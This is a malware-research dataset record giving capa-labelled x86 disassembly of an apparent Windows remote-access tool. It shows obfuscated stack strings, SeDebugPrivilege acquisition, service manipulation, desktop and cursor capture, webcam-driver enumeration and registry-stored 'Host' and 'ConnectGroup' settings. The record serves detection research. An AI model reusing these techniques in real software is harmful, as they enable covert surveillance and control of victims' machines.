joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b15d
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0xc]
xor ebx, ebx
push eax
push 0xf003f
lea eax, [ecx + 8]
push ebx
push eax
xor esi, esi
push dword [ecx + 4]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40b309
push ebx
lea eax, [ebp - 0x24]
push ebx
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push ebx
push eax
lea eax, [ebp - 0x30]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x40b1bc
xor eax, eax
jmp 0x40b30b
mov edx, dword [ebp - 0x20]
cmp edx, ebx
jbe 0x40b309
mov eax, dword [ebp - 0x24]
cmp eax, ebx
jbe 0x40b309
cmp dword [ebp - 4], ebx
jbe 0x40b309
mov ecx, dword [ebp - 0x28]
inc eax
add ecx, 0x64
push edi
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
lea esi, [eax + ecx + 1]
mov dword [ebp - 0x3c], edx
imul esi, edx
add esi, 0x16
mov dword [ebp - 0x38], ecx
push esi
push 0x40
mov dword [ebp - 0x34], eax
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov edi, eax
push esi
push ebx
push edi
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x3c]
push 0xc
push eax
lea eax, [edi + 1]
push eax
mov byte [edi], 7
call sub.MSVCRT.dll_memcpy
push dword [ebp - 4]
mov ebx, dword [sym.imp.MSVCRT.dll_malloc]
call ebx
push dword [ebp - 8]
mov dword [ebp - 0x18], eax
call ebx
and dword [ebp - 0x14], 0
add esp, 0x20
cmp dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], eax
lea ebx, [edi + 0xd]
jbe 0x40b2ea
push dword [ebp - 4]
push 0
push dword [ebp - 0x18]
call sub.MSVCRT.dll_memset
push dword [ebp - 8]
push 0
push dword [ebp - 0x1c]
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 0x24]
add esp, 0x18
inc eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x28]
add eax, 0x64
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push dword [ebp - 0x1c]
push eax
lea eax, [ebp - 4]
push 0
push eax
push dword [ebp - 0x18]
push dword [ebp - 0x14]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
cmp dword [ebp - 0x10], 1
jne 0x40b2a1
and byte [ebx], 0
cmp dword [ebp - 0x10], 4
jne 0x40b2aa
mov byte [ebx], 1
cmp dword [ebp - 0x10], 3
jne 0x40b2b3
mov byte [ebx], 2
cmp dword [ebp - 0x10], 2
jne 0x40b2bc
mov byte [ebx], 3
push dword [ebp - 0x18]
inc ebx
push ebx
call sub.MSVCRT.dll_strcpy
push dword [ebp - 0x34]
add ebx, dword [ebp - 0x38]
push dword [ebp - 0x1c]
push ebx
call sub.MSVCRT.dll_memcpy
add ebx, dword [ebp - 0x34]
add esp, 0x14
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x20]
jb 0x40b24b
push dword [ebp - 0x18]
mov ebx, dword [sym.imp.MSVCRT.dll_free]
call ebx
push dword [ebp - 0x1c]
call ebx
pop ecx
pop ecx
push 0x42
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_LocalReAlloc]
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40b4ba
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
nop
nop
nop
nop
nop
nop
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push dword [ebp + 0xc]
push 2
push 0
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
neg eax
sbb eax, eax
pop esi
inc eax
pop ebp
ret 8

Function at 0x40bc79
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
and byte [ebp - 9], 0
push ebx
push esi
lea eax, [ebp - 0x14]
push edi
mov ebx, ecx
push eax
push str.USER32.dll
mov dword [ebx], 0x47d68c
mov dword [ebp - 0x54], 0x7f8a
mov dword [ebp - 0x50], 0x7f00
mov dword [ebp - 0x4c], 0x7f03
mov dword [ebp - 0x48], 0x7f89
mov dword [ebp - 0x44], 0x7f8b
mov dword [ebp - 0x40], 0x7f01
mov dword [ebp - 0x3c], 0x7f81
mov dword [ebp - 0x38], 0x7f88
mov dword [ebp - 0x34], 0x7f80
mov dword [ebp - 0x30], 0x7f86
mov dword [ebp - 0x2c], 0x7f83
mov dword [ebp - 0x28], 0x7f85
mov dword [ebp - 0x24], 0x7f82
mov dword [ebp - 0x20], 0x7f84
mov dword [ebp - 0x1c], 0x7f04
mov dword [ebp - 0x18], 0x7f02
mov byte [ebp - 0x14], 0x4c
mov byte [ebp - 0x13], 0x6f
mov byte [ebp - 0x12], 0x61
mov byte [ebp - 0x11], 0x64
mov byte [ebp - 0x10], 0x43
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x6f
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x41
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 8], eax
lea edi, [ebp - 0x54]
lea esi, [ebx + 0x44]
mov dword [ebp - 4], 0x10
mov eax, dword [edi]
push eax
push 0
mov dword [esi - 0x40], eax
call dword [ebp - 8]
mov dword [esi], eax
add edi, 4
add esi, 4
dec dword [ebp - 4]
jne 0x40bd50
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret

Function at 0x40bd6f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and byte [ebp - 3], 0
push ebx
push esi
lea eax, [ebp - 0x10]
push edi
mov esi, ecx
push eax
push str.USER32.dll
mov dword [esi], 0x47d68c
mov byte [ebp - 0x10], 0x44
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x73
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x79
mov byte [ebp - 9], 0x43
mov byte [ebp - 8], 0x75
mov byte [ebp - 7], 0x72
mov byte [ebp - 6], 0x73
mov byte [ebp - 5], 0x6f
mov byte [ebp - 4], 0x72
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x10
mov ebx, eax
add esi, 0x44
pop edi
push dword [esi]
call ebx
add esi, 4
dec edi
jne 0x40bdd6
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40c5da
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov eax, 0x45d5fa
call fcn.0045c8d0
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
lea ecx, [esi + 0x88]
call fcn.0040bc79
mov edx, dword [ebp + 8]
xor edi, edi
mov eax, edx
mov dword [ebp - 4], edi
dec eax
mov dword [esi], 0x47d690
je 0x40c626
sub eax, 3
je 0x40c626
sub eax, 4
je 0x40c626
push 8
pop ecx
sub eax, ecx
je 0x40c626
sub eax, 0x10
je 0x40c626
mov dword [esi + 0x70], ecx
jmp 0x40c629
mov dword [esi + 0x70], edx
mov ecx, esi
call fcn.0040cd84
test eax, eax
jne 0x40c64a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
mov dword [esi + 0x10c], eax
call dword [sym.imp.USER32.dll_GetDC]
mov dword [esi + 0x44], eax
mov dword [esi + 0x1c], 0xcc0020
mov byte [esi + 0x10], 1
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ecx, dword [ebp + 0x10]
mov dword [esi + 0x20], eax
mov eax, 0x3e8
xor edx, edx
div ecx
mov ebx, dword [sym.imp.USER32.dll_GetSystemMetrics]
push edi
mov dword [esi + 0x14], ecx
mov dword [esi + 0x24], eax
mov al, byte [ebp + 0xc]
mov byte [esi + 0x18], al
call ebx
push 1
mov dword [esi + 4], eax
call ebx
push 0x20
mov dword [esi + 8], eax
pop eax
mov ebx, dword [sym.imp.GDI32.dll_CreateCompatibleDC]
cdq
idiv dword [esi + 0x70]
push dword [esi + 0x44]
mov dword [esi + 0xc], edi
mov byte [esi + 0x30], al
call ebx
push dword [esi + 0x44]
mov dword [esi + 0x4c], eax
call ebx
push edi
mov dword [esi + 0x80], eax
call ebx
push edi
mov dword [esi + 0x48], eax
call ebx
push 1
lea ebx, [esi + 0x5c]
push dword [esi + 4]
mov ecx, esi
mov dword [esi + 0x50], eax
mov dword [ebx], edi
push dword [esi + 0x70]
mov dword [esi + 0x60], edi
call fcn.0040cb38
push dword [esi + 8]
mov ecx, esi
mov dword [esi + 0x64], eax
push dword [esi + 4]
push dword [esi + 0x70]
call fcn.0040cb38
push 1
mov ecx, esi
push dword [esi + 4]
mov dword [esi + 0x68], eax
push dword [esi + 0x70]
call fcn.0040cb38
push edi
push edi
push ebx
mov ebx, dword [sym.imp.GDI32.dll_CreateDIBSection]
push edi
mov dword [esi + 0x6c], eax
push dword [esi + 0x64]
push dword [esi + 0x44]
call ebx
mov dword [esi + 0x54], eax
push edi
lea eax, [esi + 0x60]
push edi
push eax
push edi
push dword [esi + 0x68]
push dword [esi + 0x44]
call ebx
mov dword [esi + 0x58], eax
push edi
lea eax, [esi + 0x78]
push edi
push eax
push edi
push dword [esi + 0x68]
push dword [esi + 0x44]
call ebx
push dword [esi + 0x58]
mov ebx, dword [sym.imp.GDI32.dll_SelectObject]
mov dword [esi + 0x84], eax
push dword [esi + 0x4c]
call ebx
push dword [esi + 0x54]
push dword [esi + 0x48]
call ebx
push dword [esi + 0x84]
push dword [esi + 0x80]
call ebx
push dword [esi + 8]
lea eax, [esi + 0x34]
push dword [esi + 4]
push edi
push edi
push eax
call dword [sym.imp.USER32.dll_SetRect]
mov eax, dword [esi + 0x68]
mov eax, dword [eax + 0x14]
shl eax, 1
push eax
call sub.MFC42.DLL_operatornew
mov dword [esi + 0x28], eax
mov eax, dword [esi + 0x68]
xor edx, edx
pop ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xc]
div dword [esi + 8]
mov dword [esi + 0x2c], edi
pop edi
mov dword [esi + 0x74], eax
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0xc
Function at 0x40c864
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
mov esi, ecx
je 0x40c992
cmp dword [esi + 0x28], 0
je 0x40c992
call fcn.0040cd84
and dword [esi + 0x2c], 0
lea edi, [esi + 0x10]
push 1
push edi
mov ecx, esi
call fcn.0040cc2f
lea eax, [ebp - 8]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
lea eax, [ebp - 8]
push 8
push eax
mov ecx, esi
call fcn.0040cc2f
lea ecx, [esi + 0x88]
call fcn.0040c99b
mov byte [ebp + 0xb], al
lea eax, [ebp + 0xb]
push 1
push eax
mov ecx, esi
call fcn.0040cc2f
cmp byte [edi], 2
jne 0x40c90d
mov eax, dword [esi + 0x68]
mov ecx, esi
push dword [eax + 8]
push dword [eax + 4]
push dword [esi + 0x44]
push dword [esi + 0x80]
call fcn.0040cdc6
mov eax, dword [esi + 0x68]
mov ecx, esi
push dword [eax + 0x14]
mov eax, dword [esi + 0x2c]
add eax, dword [esi + 0x28]
push eax
push dword [esi + 0x60]
push dword [esi + 0x78]
call fcn.0040ce12
add eax, dword [esi + 0x2c]
mov dword [ebx], eax
jmp 0x40c98d
mov eax, dword [ebp - 4]
lea edi, [eax - 0x13]
test edi, edi
jge 0x40c919
xor edi, edi
cmp eax, dword [0x49d2e8]
je 0x40c932
push edi
mov ecx, esi
call fcn.0040ca4e
test al, al
je 0x40c932
add edi, 0x13
jmp 0x40c935
mov edi, dword [esi + 0xc]
cmp edi, dword [esi + 8]
jge 0x40c94b
push edi
mov ecx, esi
call fcn.0040ca4e
test al, al
je 0x40c92d
add edi, 0x13
jmp 0x40c92d
mov eax, dword [ebp - 4]
push 0x13
mov dword [0x49d2e8], eax
mov eax, dword [esi + 0xc]
add eax, 3
pop ecx
cdq
idiv ecx
mov eax, dword [esi + 0x2c]
mov edi, dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov dword [esi + 0xc], edx
mov dword [ebx], eax
lea ebx, [esi + 0x20]
call edi
sub eax, dword [ebx]
cmp eax, dword [esi + 0x24]
jae 0x40c983
push 1
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x40c970
call edi
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_InterlockedExchange]
mov eax, dword [esi + 0x28]
jmp 0x40c994
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40c99b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push edi
mov ebx, str.USER32.dll
push str.GetCursorInfo
mov dword [ebp - 8], ecx
push ebx
mov dword [ebp - 0x2c], 0x14
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push eax
call edi
lea ecx, [ebp - 0x2c]
push ecx
call eax
test eax, eax
je 0x40ca46
cmp dword [ebp - 0x28], 1
jne 0x40ca46
mov eax, dword [ebp - 8]
and dword [ebp - 4], 0
add eax, 0x44
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [eax]
je 0x40c9f7
inc dword [ebp - 4]
add eax, 4
cmp dword [ebp - 4], 0x10
jl 0x40c9e4
and byte [ebp - 0xb], 0
lea eax, [ebp - 0x18]
push eax
push ebx
mov byte [ebp - 0x18], 0x44
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x73
mov byte [ebp - 0x15], 0x74
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], 0x6f
mov byte [ebp - 0x12], 0x79
mov byte [ebp - 0x11], 0x43
mov byte [ebp - 0x10], 0x75
mov byte [ebp - 0xf], 0x72
mov byte [ebp - 0xe], 0x73
mov byte [ebp - 0xd], 0x6f
mov byte [ebp - 0xc], 0x72
call esi
push eax
call edi
push dword [ebp - 0x24]
call eax
mov eax, dword [ebp - 4]
cmp eax, 0x10
jne 0x40ca49
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40cf9e
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
push eax
push 0x20
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40cffc
lea eax, [ebp - 0x10]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push 0
push 0
lea eax, [ebp - 0x14]
push 0x10
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
neg eax
sbb eax, eax
inc eax
leave
ret
push 1
pop eax
leave
ret
Function at 0x40d001
Capabilities:
Modify service
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
call fcn.0040cf9e
xor ebx, ebx
push 2
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push dword [ebp + 8]
mov edi, eax
lea eax, [ebp - 0x214]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x214]
pop ecx
push 0xf01ff
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
push edi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
cmp byte [ebp + 0x10], bl
mov dword [ebp + 8], eax
jne 0x40d067
push 4
jmp 0x40d079
cmp byte [ebp + 0x10], 1
jne 0x40d071
push 3
jmp 0x40d079
cmp byte [ebp + 0x10], 2
jne 0x40d07c
push 2
pop eax
jmp 0x40d07f
mov eax, dword [ebp + 0x10]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
cmp dword [ebp + 8], ebx
je 0x40d0a0
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, dword [ebp - 4]
call fcn.0040cf75
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x40d0c3
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
mov ebx, ecx
call fcn.0040cf9e
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push dword [ebp + 8]
mov edi, eax
lea eax, [ebp - 0x210]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x210]
pop ecx
push 0xf01ff
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x18], 1
je 0x40d12e
lea eax, [ebp - 0x1c]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, ebx
call fcn.0040cf75
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x40d157
Capabilities:
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
mov dword [ebp - 4], ecx
call fcn.0040cf9e
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push dword [ebp + 8]
mov ebx, eax
lea eax, [ebp - 0x214]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x214]
pop ecx
push 0xf01ff
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
push 1
pop eax
cmp dword [ebp + 0x10], eax
jne 0x40d1c3
cmp dword [ebp - 0x1c], eax
jne 0x40d1d4
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
jmp 0x40d1d4
cmp dword [ebp - 0x1c], eax
je 0x40d1d4
lea ecx, [ebp - 0x20]
push ecx
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, dword [ebp - 4]
call fcn.0040cf75
pop esi
pop ebx
leave
ret 0xc
Function at 0x40d58e
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push 4
and byte [ebp - 0x1a], 0
pop eax
mov byte [ebp - 0x48], 0x48
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
mov byte [ebp - 0x47], 0x41
push eax
lea eax, [ebp - 0x48]
push eax
push reloc.WS2_32.dll_bind
mov byte [ebp - 0x46], 0x52
mov byte [ebp - 0x45], 0x44
mov byte [ebp - 0x44], 0x57
mov byte [ebp - 0x43], 0x41
mov byte [ebp - 0x42], 0x52
mov byte [ebp - 0x41], 0x45
mov byte [ebp - 0x40], 0x5c
mov byte [ebp - 0x3f], 0x44
mov byte [ebp - 0x3e], 0x45
mov byte [ebp - 0x3d], 0x53
mov byte [ebp - 0x3c], 0x43
mov byte [ebp - 0x3b], 0x52
mov byte [ebp - 0x3a], 0x49
mov byte [ebp - 0x39], 0x50
mov byte [ebp - 0x38], 0x54
mov byte [ebp - 0x37], 0x49
mov byte [ebp - 0x36], 0x4f
mov byte [ebp - 0x35], 0x4e
mov byte [ebp - 0x34], 0x5c
mov byte [ebp - 0x33], 0x53
mov byte [ebp - 0x32], 0x79
mov byte [ebp - 0x31], 0x73
mov byte [ebp - 0x30], 0x74
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2e], 0x6d
mov byte [ebp - 0x2d], 0x5c
mov byte [ebp - 0x2c], 0x43
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x6e
mov byte [ebp - 0x29], 0x74
mov byte [ebp - 0x28], 0x72
mov byte [ebp - 0x27], 0x61
mov byte [ebp - 0x26], 0x6c
mov byte [ebp - 0x25], 0x50
mov byte [ebp - 0x24], 0x72
mov byte [ebp - 0x23], 0x6f
mov byte [ebp - 0x22], 0x63
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x20], 0x73
mov byte [ebp - 0x1f], 0x73
mov byte [ebp - 0x1e], 0x6f
mov byte [ebp - 0x1d], 0x72
mov byte [ebp - 0x1c], 0x5c
mov byte [ebp - 0x1b], 0x30
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [ebp - 8]
and byte [ebp - 0x14], 0
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x18]
push 0
push eax
push dword [ebp - 4]
mov byte [ebp - 0x18], 0x7e
mov byte [ebp - 0x17], 0x4d
mov byte [ebp - 0x16], 0x48
mov byte [ebp - 0x15], 0x7a
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x40d6a9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc4
and byte [ebp - 4], 0
and byte [ebp - 0x14], 0
push ebx
push esi
lea eax, [ebp - 0x2c]
push edi
push eax
lea eax, [ebp - 0x10]
push eax
xor edi, edi
mov byte [ebp - 0x10], 0x41
mov byte [ebp - 0xf], 0x56
mov byte [ebp - 0xe], 0x49
mov byte [ebp - 0xd], 0x43
mov byte [ebp - 0xc], 0x41
mov byte [ebp - 0xb], 0x50
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], 0x6c
mov byte [ebp - 5], 0x6c
mov byte [ebp - 0x2c], 0x63
mov byte [ebp - 0x2b], 0x61
mov byte [ebp - 0x2a], 0x70
mov byte [ebp - 0x29], 0x47
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x74
mov byte [ebp - 0x26], 0x44
mov byte [ebp - 0x25], 0x72
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x76
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x72
mov byte [ebp - 0x20], 0x44
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x73
mov byte [ebp - 0x1d], 0x63
mov byte [ebp - 0x1c], 0x72
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x70
mov byte [ebp - 0x19], 0x74
mov byte [ebp - 0x18], 0x69
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x6e
mov byte [ebp - 0x15], 0x41
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov ebx, eax
xor esi, esi
test edi, edi
jne 0x40d786
lea eax, [ebp - 0x60]
push 0x32
push eax
lea eax, [ebp - 0xc4]
push 0x64
push eax
push esi
call ebx
inc esi
mov edi, eax
cmp esi, 0xa
jl 0x40d768
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40d78d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push ebx
push edi
push dword [ebp + 0x14]
xor ebx, ebx
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x427]
mov byte [ebp - 0x428], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push dword [ebp + 0x10]
stosb byte es:[edi], al
call sub.MSVCRT.dll_memset
push 0x400
lea eax, [ebp - 0x428]
push ebx
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x28]
mov byte [ebp - 0x28], 0x53
mov byte [ebp - 0x27], 0x59
push eax
lea eax, [ebp - 0x428]
push eax
mov byte [ebp - 0x26], 0x53
mov byte [ebp - 0x25], 0x54
mov byte [ebp - 0x24], 0x45
mov byte [ebp - 0x23], 0x4d
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x76
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x5c
mov byte [ebp - 6], 0x25
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], bl
call dword [sym.imp.USER32.dll_wsprintfA]
push ebx
lea eax, [ebp - 0x428]
push dword [ebp + 0x14]
push ebx
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
push eax
push reloc.WS2_32.dll_bind
call fcn.0040ada8
add esp, 0x44
pop edi
pop ebx
leave
ret

Function at 0x40d89c
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
and byte [ebp - 4], 0
lea eax, [ebp - 8]
push edi
push eax
push dword [ebp + 8]
mov byte [ebp - 8], 0x48
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x73
mov byte [ebp - 5], 0x74
call fcn.0040d78d
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
add esp, 0x10
push edi
call esi
test eax, eax
jne 0x40d8e4
push dword [ebp + 0x10]
push edi
call dword [sym.imp.WS2_32.dll_gethostname]
push edi
call esi
pop edi
pop esi
leave
ret
Function at 0x40d8eb
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
and byte [ebp - 4], 0
lea eax, [ebp - 0x10]
push edi
push eax
push dword [ebp + 8]
mov byte [ebp - 0x10], 0x43
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x63
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x47
mov byte [ebp - 8], 0x72
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x75
mov byte [ebp - 5], 0x70
call fcn.0040d78d
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
add esp, 0x10
push edi
call esi
test eax, eax
jne 0x40d95b
mov ecx, dword [0x49d6f4]
push 0x48b90c
push edi
call fcn.0040abb9
push edi
call esi
pop edi
pop esi
leave
ret